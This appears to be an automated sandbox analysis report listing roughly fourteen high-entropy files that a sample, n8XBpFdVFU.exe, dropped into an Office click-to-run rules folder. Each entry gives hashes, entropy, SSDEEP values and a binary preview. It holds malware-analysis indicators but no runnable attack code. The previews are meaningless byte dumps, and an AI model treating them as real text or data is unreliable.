Preview:	.<?.+t.MB&.v>.\...../U.{.4O....._..h......\.T..bAq.........N..2Y`.............s.s...^..d0...-G...$...^....E...v4(5.K...d.t.g..5.r....8....0\|%K].lr.......'{..{........+..:o..lbOj5.t.u9.r/...._p..@..BA\.3....v...^....(%...\|..x..$.g..A.../....E..bD.X.J.] ..kQ....jC..3..i3.......-.H.2.0.....P....F0.;.x..FU..!.e[.kefz.y.P....'#m.=....+K .s..E.,.\|...ov.r`0hB7.~..7..q..$.o..A.=.~....G....q....s...@..5:...H.Qd.{..Z........@\.s...PV..cs.......S.....6.....5...N.Y....$+.q!...q.4l....V..N.hEx}.)......... ....2.......'..X.s...U.e.Q.(.$.=...K9...o..z..#..'Js....gWd..2^..}.....qv..{.K....l..6....o.NQ#..$..T....r.\|.?..z.x.7p...B....Rx.DG\..T.....p..FW.d.....tkG.k.N..b8...v.?...{..>..X.t.Zq........ui.G.@.pDW5.'.......&\|.[R............c.Y.{......Q.......3..].......V6\...jT.s..=...^...\|n.NZ'...........+./..m.9..2b!.AJ....E.%q$Nu....#..L%.t1D.u.9r....c...z.M..N.X(.x.'..>U.nlF8.(..z$.,.. .)..f.....O>e.QL... .P.I6.fl.u.....?....FxOp."..D.....I.K...9h\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.871339437883995
Encrypted:	false
SSDEEP:	48:o0NC0K62QhyoOBFQEgzAbQU31fbxsMsyFz/sD:rbHytgzAsU1bx6Ez/I
MD5:	AABE236195D8E4EB95BA4C117EE9B5F4
SHA1:	16F9FCDA8D4942A885553FE8150D189430CDB17D
SHA-256:	596D9124DDB35B763B1DCEB704067856D6AF053ACC425495F95B464B16DEB692
SHA-512:	9C8083179F30F408348F0F8BA65D2E10F6E86A87DE32BF816622161C8C60A77FBE48553C396E25E4AECDB03DFDE51F5D9BC4F16E6E8510F5B0498C1E780EDD06
Malicious:	false
Preview:	.<?..-b...d...;P..!.`.6.jf.q4T.P.e...r.\...u.J........Q.vR..d.....MDq_.w5.C.i...r.3D.....'..#S..S.$.WyDG@..5cE].4^.7.k.].RG.Io........Z..y#.v.N6< ..g\|k..Tli.].......>p.....'1Z.<...\|F..RHkx....k.%....Z.Wo..0......4I.... .......;...C1.b...C^....f.T....u...2.k...._]!.X..[k...V>...x.@.H..>....H.Ek......;n....,.c`..&.l...(..1..:u.s.}r{G..Q9D+.n...-..tl.;=J...#Dc.kc.. ...(.n..{..O...!..?~h..........;..I..61....u..-.}G...`E9...{s.[Yq...)n...e'..]odh2..+...FJ.GR.....kn....A.?...M...-...H._..I..L&WxD..+b.#4....c..l..YQ...P...V.4g...m!.0..'k\|.e..Z...u;7..'.....5.I..I..c.%.Ul.).....>[.Q...Y..U.z!...\.......L,....?..^H.-..A.r...xK.P.4.@U.wa1Q.a"5.=Z...t..Q#;.6{NI<1..]/`\|z.H.....(...rZ=k.(..\|.U..O..0E..Y.....o.../_i....6.az.{...K.....39.....n...#....i.v....p...^.......,.....yl........P+U{..E.T,..."3A.4\{.iv..~..[.....lR...48......c....kd.......4..Qo....$p...hZ.'"..I..?H4W......6......j......H5...0.\)_..}R..$...0..X"...([,.......xY..E*

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.864509646853844
Encrypted:	false
SSDEEP:	24:lRESFPuvUd2DD9eDDuXvkq9CDDgGYTuzStFR6MOdacTgBEIaZLoBJDVgY4SzQWtP:lRBYUd2DBLCLZSylTgl+cBJyLyDFn7D
MD5:	32D2868BF4EE4462B0384F804ACD6A3C
SHA1:	923D3E81B37EF6F43553BADE27026E8FF2704626
SHA-256:	2C6FDAAF5351F6A480B015F1748D5B804F73B777E6FC656D424ECCBAEB8AB3F6
SHA-512:	FDA3674C272B25B59D3A7DAE75E2DE4AB22D06EEADB5224BC930B38BE8F224790B716F019EB3DF43A1F941D729218256517FFDC7EBF23538663ADBCEB076F37E
Malicious:	false
Preview:	.<?..A,..!/..L..E5Ed.........(.....p...H.t....0K.5..._...z...J_..`...u._A@..x..U.g..t....r._.tJ.......z.-.B...f.`J...."$....b.q..d..S...qr#......`..I......g.H4.(..DF....(iN....%..f.C.r+.xG.;....).%Z8.jL..8.VE..K)B3...O.Q..`.j...'-C.T)....... ...C.2.Hh..C....1b.{j.w..th......H.y.E...v5.....DL..j.O....$..../..Mm...Z...h....h...."..R.";f!.=l&....8jJ."..G...h...N...t.....n..ch..)vMC+....-l. 1X.......<...HZ....v[.........r.....[.^.d.[.l.DB(...MX..#..f.BT...Q..c..,.2.C.S...>P(+B..\..U.{D....+.e..GW.....F9.6..:.=........o4...eO.>..%Z...A8..[.[M..p.....r!..O......%..*\..4.L.^.nE...TL.v.G.g.S..26'}..1/.I........K8.[&..V..)#.i...$D.e.:.T.@.......(X.......N.......n...6..yF7..}.%.S.G.x6.......tSf....Z. J.N.pWtH..]..N..Y!4....Eh:9.1..j...Cc....!R....J.c.P..~..n..Li........D..Fv.....lK.d4/.k.W}..Y...h.^......M....r...r..z.....EN.X.....K..{......9...:....S.ZF...!....Df.....2[.D.>...[S.(&..F...i.zV...).O.I.J...S33..;)U.......+.<G..#.+....[(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.892354849004597
Encrypted:	false
SSDEEP:	24:2nsZp8ePaWnS8wUKuyACSJjIhZIZqr9JFNExwZC/tlqA52gA4a8N6dA5hoKRXmeB:2sZTCgFgpysvClwA52gAN8NHksrgsD
MD5:	8E27D17C8D2206FFB2F6A00D43D3A949
SHA1:	67383D46970007C6AD8FB1091678F7F4AED1A01B
SHA-256:	E40760C6D2D0A33712F016781C9F75145DB03910DEE590945A583A844A5F4E82
SHA-512:	0A89244B370FCA233A7DE3A4173C3BD52C4BDC926F5C1FF88E0C98F2C7E5155013CD7B0B1957A254B2AD7236535D918D15DE62190B264CF90713C8F44AD1C924
Malicious:	false
Preview:	.<?tsf...~~v.o7...2{......u.E}.s.Y.P..b!..%..g..SQq`2..>....'z....4..j6...p...@p..Nnb.,..t.2.ID.....N.L...o..A...&.> .8..."..<[3.......&..X..a...v.....P.{..\|G..UZ.n..\.J.....F..vD.aM...L..Uf.-a`2...tC..~2n......{..#1,...2_t..TC.S...[..E..S..1......%.[.b......F.V....g.....n.)/"....BG5.X[.........2.^..>..n.%..w.\...q$.[i.7..)%-.VH.o...C.0P8..G.y=RBp..oX...H.....tl...%....... CS.4IvE.>,......2;...Y....u.0.0.........Yg;.Z.c.......2nN...h...4..Gi.2.'.6.v.!.."b.........N.>_..A...I{.e..r....)....KN.W..].e..h9.... ......q+.@.!ms.z,...M......^x..?..k..+.....G..W.."7.M..<G{2d..6...%..\?.\...Z~4..LT..........{c.c...r..H.rbD..V.p....l...,yO...;1.1..Q..p..m.=..U...........Wh.#...x3.7b.=..".>..P....oU.9.BA.^.Rnu..\|"4.i.p.?.m.L..dg..:.h.=?.J./.#.~...2..$.T.t.0H>...&{..w`S.,M..........ZGI.......cm,.....V.tO..f....(eW..e.i4.x5..n1.'...E_........=....i...5.t-......g..v..}.??....c[V.S.>.....B....G.......Cf.;D]....7...A...K..\...^.-........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.882147148425381
Encrypted:	false
SSDEEP:	24:mh1X7BbS43W8kCC5uZ7pGa/UMzijFSYap64LrAcsBz51onosahmYl0TwpOhLECRz:Y9hSl8kBOAyAjOBLrAcRn7ahLuThEWVD
MD5:	E343F011E646E4018D0B157019A43FFB
SHA1:	F8D2BC51C6E5C263C62255DEB1FF3F77FEA902DD
SHA-256:	0B75530534BFDCC177F6534BC28535C1A56386449CBF93D3F82B797D3A2E44F4
SHA-512:	186EA4A2486478704D7CB86CED2F64D90A6B76090570A55129A032347B6572AB12E15E860676576B754170A768183716D33E1967F3D9D9CCC84BFA1FA40ECF83
Malicious:	false
Preview:	.<?.8..kL...R...&/}k..F...@..te......oMVW..8!..Q~).xF....tQ.K.S.C.. d....e..+....5m.DC.5.S....I".}:6...5 .......l...f. ).....+.'..A..6.Y.r}....eOBa}@.(Y..,_..2...P..3hgq....G.....I..7..i.z.e..2.ec.D........=x..Zc..=$...t.A.....h.{.Ph.....\O.W!LH}.m...N?.2....].#M.>-.j:TFSV)KH.?.K.,v...Q....H...?T..~u.XJGN.I.9.g.BO..m.g.......w...{M>E.4,.l.J.U..bc.a6.js.'.fb.I......1.A.E.....&..\..)e....3...3zB.C&@......G.........}.q..J.d.i..<.J../.e,.s.yS.o9.L.1#.....[............).?....^..G...On.K..Y..'.p.L..."U..2..B..U.+t.Ee..}H.......Z..5.......(..^..).";.0..B.0.~.6L,.u.....P5.Zquw...p7{R.6...].......%.=..J.../Z..D......X.3..\Rn.t..ENc.H...E.....W\|2..6.....b....=H`...Y....y..N6.X?..ATJ.......A....Fj...'Y.....+...w.9F.1<.....)eT)...1..Q.@.72+?D..a....L.N.T..j. .w...\|...O.4.0FVOk:...1..K.P......wb..l.1.Wb@..t....N.p..P.[.....c..r....s..w...0`..!...5R...8......C3.........:....2UUgxh=...Z.W_.e=v.I..?..A.......Aus..........{...O..........&..\|..O

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.900888404200015
Encrypted:	false
SSDEEP:	24:XaZY3apip5H03vtJ1zrMD6t+p6MK+UKIHWowWSO2ogGgNYlU3ap7pLEJ/5bD:Xx1kztrc60aPKI2dNYWeyJ/5D
MD5:	E28BDAAB80379AAD5041E965A949A86C
SHA1:	06455AF5E16938107591B7BEA7006B82CE6CFF69
SHA-256:	F7E4DC0F42D3224AECE7F9069339DD2BE86C7A5A16BDA094563B15174DE0AE6B
SHA-512:	500B639C8629970BE11E4014D52BFAC38DE7CBCC47E324B40746D60216FED114184F59D021E5E29FB588E7B7494E8E645E527F08E30D8CE2174B47F190E30F1B
Malicious:	false
Preview:	.<?...Pq.0y.ke..b...~r..1'...SI.3_.s./}......J..et.c....rh..o.$..E..N.>....Y...mz.F.....e9Y\|'.ox.E...{.M.7M.kR_...(.......Y.......E.......P.H.cw .......X.38&....5...z.X.'..K..i.B...5zh..2C.~.......~.......7..P.R.Z1......(.}..u\.b.....r$V..F..."?......c..t..@.........~...Vr.h .Aa..U......z..D.o.\|.^...>f>.d.T..~.\JU.H.6P..<..[....[j...2.f.,.Ro...ef...e.x^...h..,!.k...i..].Y...4T...F&&Qq.c).....O......u.@..Zxd..;\..q...-.p...Lj". =o..)Wf..`..._...}/w.....{d.9..jKiyx....K-?.%..b.y...sv.J.].?...K..Q......}.,r.iQ..y..=......$......N...."u.I.O.I^ ..W.A".R.z(.1.([.C`...S..L...w.v.t..I.2x...4....j.........N.d.q...u.l....I.....m....N.<...o/'I...(.iwj.v.....D.n.V.m...`...~...-..Ih.p..:Oc.V.(.\|<..{.%@..v.M...x.I+~.y......r..F.UJ....%.%..I.r......f.ux.c;.I_.CU..j../>W..,._..T..`.....w~..F.....pH...O5s........@..tb..)..rO....0a....H..S..:..b.".];....!..x..V./.[...\|...\|tJ..2.a..G..bu.M<&..U0:..)/.e.Dh.......-s..x....Jf3.b..T:C.....]...8A...;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.881169386018075
Encrypted:	false
SSDEEP:	48:XDFRk8v6qZAHOF9qzmWRZrkJ4ARhM060XD:XR28v3AHCJuZwuARC060T
MD5:	1A62A3B444186A046005C794FBE12748
SHA1:	D9E22A5862F7B5955FB4DBA7B0FB1250006C1F1D
SHA-256:	ADC981411468B2A08800251A8C043359BEDB974EDABA8745B60E21F4F2FDA617
SHA-512:	AF264F4D82D2EBA25DDF40015309359D03C913DFCA0F5B80A6AB5F44113AAC1A3BEE7D86BC2A71DF0E55A93AF414871C193E7EF6381E4D79D697B0781E451244
Malicious:	false
Preview:	.<?fO...aan.:.R......8.M.y..+.]..^......j..}.........}..l...;..C=.}.Ph.^.Q.=3...3.r(.......S..wC0.T......y$K=...= f..x.30.g..2.c....[..W.e..0..S..Td.Z.8#1......E...B.....1.r...h..l.V..^.b.=...Dv...\f............G...;.=..}.....;m .^....y,H.ML.....PP...)...F..Fz..G....RW.o8....wO...h..8G..t..2..$.u.BC{^\.$....h......2:c..q...`a......Y".Y.~...v..l..d..'M..#..G.N...88m.J.1p....+`.%.c...:6.>..&.....\|..f)....u..-...)'E..U..$.L.iZ...P.I.'[t.[c...)..~&....vy.d7~.(Qp?&.AG....^.%.W.....-...I.y..8..!A...0..L...4.t...$.........K.@Z......ih_.f..a.AJo...`o.. I.i..sg....d.i...:..U..0.f01.....9.1.&..s..b...l.......L......k.....\.p2../......*#w+.....$....s.. .8...[.UYN...J....V....YC......G..2...3e.E.5.~s...o...t=.U.4..~{fi........R..Nq._.VYR.].X....j.....;....v...BU.!>s..PP.'...ta.nC=..Y..X."......A..9. z..E.j.L7#.F.H.c.\Z6V..)D/....>L...(.`.E.?wM.......!!.,..b..g.QO.(4....:...P.....z...zW..DJ......<.Q.P.mgI.B.B\a..<p..<......{%L..}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.8829400926007365
Encrypted:	false
SSDEEP:	48:sFs1eJTr5MUGOVGMMcTCxltQDRSUuhTgyIClD:uJTrEffQsVmA
MD5:	B10D45951E3DB84D2512C6AFAA8B9723
SHA1:	E30AA975FD2029727EFB2B121720C0188C370F8B
SHA-256:	D48BC0767C0E21184D772FF7DD8E2416190B9B4FBF955199CEEAFDE2A530D869
SHA-512:	067EB37A115308A7079B8BDD1E38945A437F6F1FD1A5291E3DE9FD36DAF99D95AFD421C2EB9529C10DFDF180023672E8A32734EE2663E654583DB4686D910169
Malicious:	false
Preview:	.<?).......j<.b...2...4.......N..Y..<..h....i&.)...\.T.=..5c^.}.CW./Q.8.(6......t1G.0.F.-Ix..l2...q....._.u.....M.._...!.u.8.W....<.......#..'...f..0.UI..t......e.8o.-..).*..'F3./[..#.{.$nu.X@......e.Qe...a.#...h1..x.....V.v1..U..E.s.... .%Ay...U....Gk....%8h..$..t.+;...t9Mxv.0l.NR..4.U.......P}..Ew4......9..u\.....9.d..oC.N......i.....W.j....0j(.a.....u..fqXa~..ZP..$...-.\.m....8@...]+....qC:....q4..Y\.$>....icqb......j./$..j..u.9..+Uh@...]..]K.:.P...O..k....#A...O...G...+.BNm.,6.....m@....5..4p2.._S.>......~.....>&..=.....6...G9.K...q..5Y3...?.%>R{...../..<M.$.....~.......Q.qh..15../....:...C.....V.y...].a..z,..w....8....%\|..%w..ik.s.....M..iVx.....t.z>.ra.(..3.4.>.....sJa...CM.<>.Z..@f..pz.um.:.........p.7.+..5...C....Jz...=.2...J......V....D.vb..h.a....1...6...l..S..V..A....^.. .[J./..c..E...N.H.H..........~-..V......w@_...P...VxQ....>.6\|F].8h$z..j.,<@b%..'.W...T......#...PD.[w..r...~...F...Yb..~[..I?.....Y..c.R.Q....,(..O....^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.891577372143623
Encrypted:	false
SSDEEP:	24:OMKIW26RAS0/FrKZUKBGWr11biwaEuJ2DSgNQCSDWHXsMO9vZQYsghwVBYgbD:OxP2KkQUKBGOzbwFJ2iCtclZBsxBrD
MD5:	023287936A9D17ECB66F59A89BAE02B3
SHA1:	D1A8031A94EB4748BC1BB665DC022FEE3EFCFF0C
SHA-256:	F1E032E46E4C6648208F9B28913AB95457FD136989EED9DAAE7EA59616EF114A
SHA-512:	9FE686CA89431A42B03E7A470F60B53A567403420783E7B3AC08A7B7281C0D06C3E075621930BD36DE688CA3FC1F90237C849CD7E63D382AECF734F144081BDF
Malicious:	false
Preview:	.<?..3....>.I?..<@......~U..M<G...5......m.....N.)..5.}.\|..$+...Eh...nv.s....[H.X...mR..z....'...T0...p.3.../.+`'.v......\|P$.@...K..C^H.h.....=:.E.]k..........1...aq...w.n.j..Z.....r 1P<...+q..7.F.[..#.95..,.../.l.f..k..!.[Ykx.q.x.-{.....~..a .Jc,.f.}J..Z..qo.H...[....k4.(....:io.~c.b.J.k......S/..9.u...l.+_W;".u.i.a..I.;.....0.).........X..hi.\o#...<.$...bA.^C=1.X.j.M/3G.S...$.!).H...]...N...Z.s7.\.8...v..X....._.J.EU6,.G.t.Br......D.?.l...lu..A\|.)I.g.\|.....S@.A.6..L;.......27'.#...U...c.8=.C._....Q.L...H[qS.J.c..N...#.A]6...Ly..6]....$.v..~`^i. ....r...i..1..Mv@.fF\...r6:.3_.7.hZ).[..k.......Yz5gY{MF..@.....:.r.......x.rs.....>.~.&O.....s'm....+...kY.}.dKpyV.8.....?di.~wR^...._...C4Q..Pf.I...j.<. .!]..e............../FM.QKG.]....B.E]....%p8..'....3v...bRR...B).....Y=d\|3.0...s.bL.d...:H.1c,..}.~.5`E[O..Q<%.R.x.......[t.Y...rf...[......-..!yD..d......z.i..-XB.....2.K.,.........P.0......\|....b.}..t.\i..>...HK..n.^cp.}..1...IW2..x$.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.892088057270677
Encrypted:	false
SSDEEP:	48:NMaTir0T87LOpjHpnPBKpLaCC7+PZ7El7x6M0D:NxTC0wmNpPBKpLaCC6E/0
MD5:	E66796182CABDC35BD514984E80CB288
SHA1:	1A5F6A8C8DE1BC0FF1ADE10215D4406EA174A998
SHA-256:	355CA9725EFF0DD6E167ACE31DA41C8FB8BD84617E9DAF5CD0A5AFEE971F1E80
SHA-512:	A70752300C6596BFB607927529A662FAB4F580FD34ED3763C365BC7254A7A646E991599DE1BBC0ABD17EEF88A830B8A3C83DC42972ECBEE50F1ACD669A76912D
Malicious:	false
Preview:	.<?..B%..yf.WH..I..~ .j..i^..\|$E...'S..4=.'S."..9......!:.F\k.Z.<.z...D......+k..${.._..b....7W...y...[..U....].....J.....}.FP.k........]...&0 3....[J.%..?@M,t[r.9.L.'.....I.'i.d..w..m:n.K?..s.X...,..(~...C!.5....Z.....6..O.6,....@g.z(.e.J1.\|.....;T.y.....d..J....(.0#..&..\...).s.......f...2,...L....~(.$k..Z..n..... ..V.....Z..Y).z.m".`..y.s.;W...1Y.>KG.....bF....8..6$X...O+...6..fG...0.\|..d..IC.;O0.A.rg#u..."J.......s....7..nU.....:.../...\.?....bR....sA.w_...7,K..k.[_Yw4.+~\..xn.x.<.[..fb{.PH......}#..S.........l.YOA.8.2.,.."..HB..=W...(9.xsqR.+.`.a.6~.@..q.m.uG...\<8.].g....t.FZ......S)L."@dYr......r......&..vz.i.jw$..f...j......+...xE.-A.qO.S,..c~..t...8....\|.@.w`a.dg[....~...3.z...@.h.\r.!(.Y..d.?...<.._.;.^.^'.....3g...4=...PO...X.x..6...%.0l....E....8l..)..~.h_..MM>3F.)..g.u...r'3.${.l..8_P-d.(...%.<.K.z..;.(~.1.k\..:.G....]...M......V..A.={.;~.x.sl..*c..........ul.;/.C.._...GOe...6B...$.XS.>..#.\|..s'.......6....e..,.L.kv.`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1771
Entropy (8bit):	7.890791984749207
Encrypted:	false
SSDEEP:	48:gSgUB24I6dvPnaJYDKTN6xAXqznE5a/KfCoGD:PgG2JigAxAX8E5a/hoe
MD5:	0BF4448F432187BDA4D5A40ECC4737FA
SHA1:	91C6A53ECEEEBE551B7FFA4C2F2D5FDA959028D4
SHA-256:	ADE6B6EE660839A88EEB53F5F0CE12DAE8815FEC4879EBA08390DA937BEA6708
SHA-512:	67B4D25862E6B8E672FA7D4B4D155F486241D7702AB18BAE2D95FA3EFA622EA33CD8A87A0869A13BCB843D306842CFCB33F57979B62531534C4D89B428072DAC
Malicious:	false
Preview:	.<?.^.z.t...p.`!..X.....A..<.$p.#...@.{w..k/..UI.}Z=...TN..l.c.%.4.U...jK..2d..XL.)...../.B........]t...q?.W~N.jf..v.t..,+..b.....H.x^.<A..".."c.j....D..x..a(W.g...f..&.i..Kn..x..P.."X..C./.<...[`...+F.........o...1.M.).6.,.....B.{.X.2..1.p<..<.&(.9)....df.....]...c..KP.w.\4bD/p`z2......Gl..(.....@.yc,..r.0.7.\....4... ../.6H....;...<.Z\|...~.NPUY1........k..f.I..Dwx~v.)....X...=..I..[...?,..c E.....@...T,yu.3..T.;..b.=h?..8g@.r0....M.#.U+x...D...1.V......k.[6......P<x.......[._..XJ..'.=X.......4..d...R..@..oq..@.....z....Q..-....0..O......B...F.t.Nu8U...Kk].R[.)H.."......oa.;9.~.!.L.q...w{eF...{..A.q=3....~....p..b.E.h.99..cJ,.....9....+.....YE...A......T..+ A..}.8A.}.4.;. .eF.1sM.#a=..SZ...R.c......w.....G...<...r....H.-...... .h.....~=./..W 8.(...M.G....u.$.0.6..>..)Umm]...w%ur..P.eL..2.#6.....).O.............Wje.....r..-....D.d..4.....e..n....@B......p..?..IVlf.....&1..I........#1{..]......x..3.u..%.+.K2.X{.w......R..D....l(...5.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.881930905471324
Encrypted:	false
SSDEEP:	48:lN/sTQ8F1kCJ6Y8AH+ID4qmTCdCUDNQmQID:lN/9CJCWtmTeZQmQU
MD5:	C11F960437C10CBC37EFAD20B33F587C
SHA1:	2C50D4BF80FD08B9842AF59AD837DB4A54D2F675
SHA-256:	B195DA8A73A3F3507E7AEFC6EBBDB1A6C5AC2A3B7C2DE310C785DE079844CA77
SHA-512:	09980088D7DB4F2AA816F332D3662807CD0F8447D05F95519B525FB4C9BD6EAD76FC103D54A10E42CD94007DADDC2FEE78A4E9ABE947C55B93CD6EBCDBD23AF7
Malicious:	false
Preview:	.<?..........z...G...v......k3...h-.qJ~.3E..>.F..wX.vS9..O.y......@.Qg..J....l.Gq..r.4.o..F.Y.re%o......{.X.=8.'Ox#..1..q......'........d..Yh.{\Y"..46......._.J....i.hW`.`.O .x....../.G...\..K=q....?...D..,.@5.2-....L<.."G.I ......n.>. ...G.....y}.m..pG....NE..{...)....V.Y.>..q..3...I4.(f8...nT...`.N.s.3.c..J..Tu]......K..:..!`...H-a4X.t)-....4..z.x...b..J..3K.h)q+v.pfu.I.(....?..s<A%..)v(vlA.......).......A.n.!.D..-1v~...i.t...A1r.v.a.$Q.pO...O..fK._5....(.H.@u..Kx..B.m0F.R2J....E.W....9.....K.[so.K...y..."....X...j.V..J~.o...V.Cc.. ..4./Ob....N..>..3..B$.)...L......p..~.1q..]..@..rZ..._.2..d=L3D...?<X../..(,..3.j..e@..........j......\|.A.aMJ'..-(conl............."<#..'L.%..e..0.<y./<...-&..^.MW.q=!.K?..:.......<.@e..6...`4.:..y.)i.i,...R./...e.'5OU.........M..'G:jC@A..1.....2s.Mi#..D..i2.n..CC ..s...H..i.c.Q...7...H......b..a w.<.b....N]..!..0.....+...?..N..s%:...v.i5f.}...z[....`N&Sg.u...W.~....4..g.9;R+...Y\|..).5.?.<s.......VxRf....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.899190640359072
Encrypted:	false
SSDEEP:	48:5zUIpqGXfryAlxdwJrEmRcFyZ7TDy6Akd0oSIAD:5AIJTiJrVmFZ5kqRIc
MD5:	57944B2DB2302AD89E518FFE78AF3086
SHA1:	00B38E62F139355B2F3E21AAF7B01C1429AA3E1B
SHA-256:	16876EE90BD63F4ED293D573B948111FC37E4295A5DBE6D122F0A926652CCE7F
SHA-512:	30AD445B32CA768D71C32EB5EADEA6D4EDA12F56B69B9D85E5D5C92295DDBBC5B110BDD79CCC443B491BE7ED67888D717DFD7A2E10DFE3318615F96F396048E1
Malicious:	false
Preview:	.<?..P.\$.fc.Pt..2H.w.>.6.I...&/C.....`.'_...5.]%T..(.....^F.c....].q.(..\|q.....5.........Z$.^.......H.].....zZ.A.........J....d......q.g.bFC...v..)...M..nS.e8.......q....7{.kl..S.r....f.t#N...}WO....o.O.a.3....{.>.-.KB:.9O.5....6I.iUKxg.\_$..c.B.~.L@5..S...d.}.I...,.k{..!y.".P)OB..K.<.,.....&8Q..XQ...?.m.kx..Z....w%W..s..1..a..V.<E..g=.9..\|.Z.d.;Q.t6...Zh..~.K...\6...R.iP............U........[......>.....cI@....R.............5p.7.C...y=m.{.V5...N.K.a.9T...k%;(...!.........gu.).e.KX.......~j{"m.$...:.t. .z.O.0........5"....r..f<v^} ..E....TZ.KF...2S!...z?V...5..idu.6..z./........Q...\|2....e..NW.-Y....0........r...Z.....Y;......=....D.C....<.<.vx/.mS.d)_..:.d.c.^`1....-V...>..;./...}\|..'..4...X;Vr-m..^(."..{.`.E.k.r..J.i........Q......h..mg....$...!\..N.Lq=ij...gM.{c.]......N......8.r.....K1Zf]..$.@....J(J..O........5W6I>.d.N....%..1.{....+...{...........:d.{.o...l....A....J....E.....e-.h.x..b.......T.\|..l.{Cb<...y.(....o\|....D.i...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.872618235374303
Encrypted:	false
SSDEEP:	48:IbOlSOLCyw3ey43gWYNN75mpoq1smrsrCB5TD:G8SOLCyw3ey43g5myq1sm4u/
MD5:	594CCF7F165CCE2AE3114D23B06EE06B
SHA1:	85F2BFF647A9D9566358E85F8A7A1E97A91C7BBD
SHA-256:	66E7E473F9E4C66BB13A89BC21F5E529E6F6032007A32DE15196238D1EA77EFC
SHA-512:	E24A6DEED6E256C85C7561E6D257D4F27F86C8CFB6F640F917FEBAF1A6424E9D6E234FC5C10D5EDBD06C8C450233E8CA46A9B07D208FDAB9519C39DB99FCC95D
Malicious:	false
Preview:	.<?.....j.,.E.j...........^..j8...n.1 C&lxZ..F...x.?E...9. O..#..........u.g..1..r.}..}.IO<.v.'.%....b3H..{JC.Ec.\.J..!..[...\..X.\.z...!..E..S....P.h..^0..].."..;=.vx...[...>u3.`V.'.q...p}sx....n..k.7#o.]GtZ^3v.^.qu.q..-......e.....x.....c..i..f..:.Ce..i...b.&....7U..bT=.p.%..q.......k3..!L.'.{U.....Wr.v5.. .D...$K........p.8ifxV2...~........&..1...0.o....;b.".,...{mK.....C......-.^.....aO.E.'....~^....e.b.q._.(..tTW[Q../.l.......>.R'/y{r=....J..2.)u..rY`=.X.t..C!S.p..d.v....6p.J...je..S{W..M..5s...,......w.fJR.?....8..k>.....Ql.o../...'.<...a..KC...gj....Mm.... S.Y.Z..K..S0...s:.Ki_../...J...u\|rY.y....6.Q.F...\.}@.O.B.....cm..m.1.pXvU.#..4.....T.g.$up../L..f7.TCFL..vK\..~........4...I/..(D.3CV.^...F.i.........i.............O......mr..$.}\6,-b...5E..j.....6..#h.*.."...upU...\.;...-\|...{.Vf6..m...'.p..;A.9..).#;@..(XY#!p.;....`.{....=....s.W65..."l.........f.\..1.....Z..V./..."....0H ..D...h..:/aS.M'..Jy~.....@....`.q.\|.:v2.W..'lAk.U.j..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1776
Entropy (8bit):	7.87539120413542
Encrypted:	false
SSDEEP:	48:XMBi26oANraEgeSjFwm/s9c9VrWq/HXPIhBNbveCD:X9QANPCBsgnIDNKK
MD5:	8E3098E9AEA53C728B9632CBE4FD54A9
SHA1:	FDD2B77E301189D9010F1BAA13D4323C767399F1
SHA-256:	11133408ADD63E9F1AC03BA138059DEFBF7623ED7DD6A486E9E5CB7E2E89955D
SHA-512:	BBAEC13B06DA452C2EE6EE71D0BACA17AF1EEE29908B39AEBE04B721214524D4CA4822C00AF87714CEEE8966C4D0A5F169B8803FC8FB22CEDD4E692C703E424B
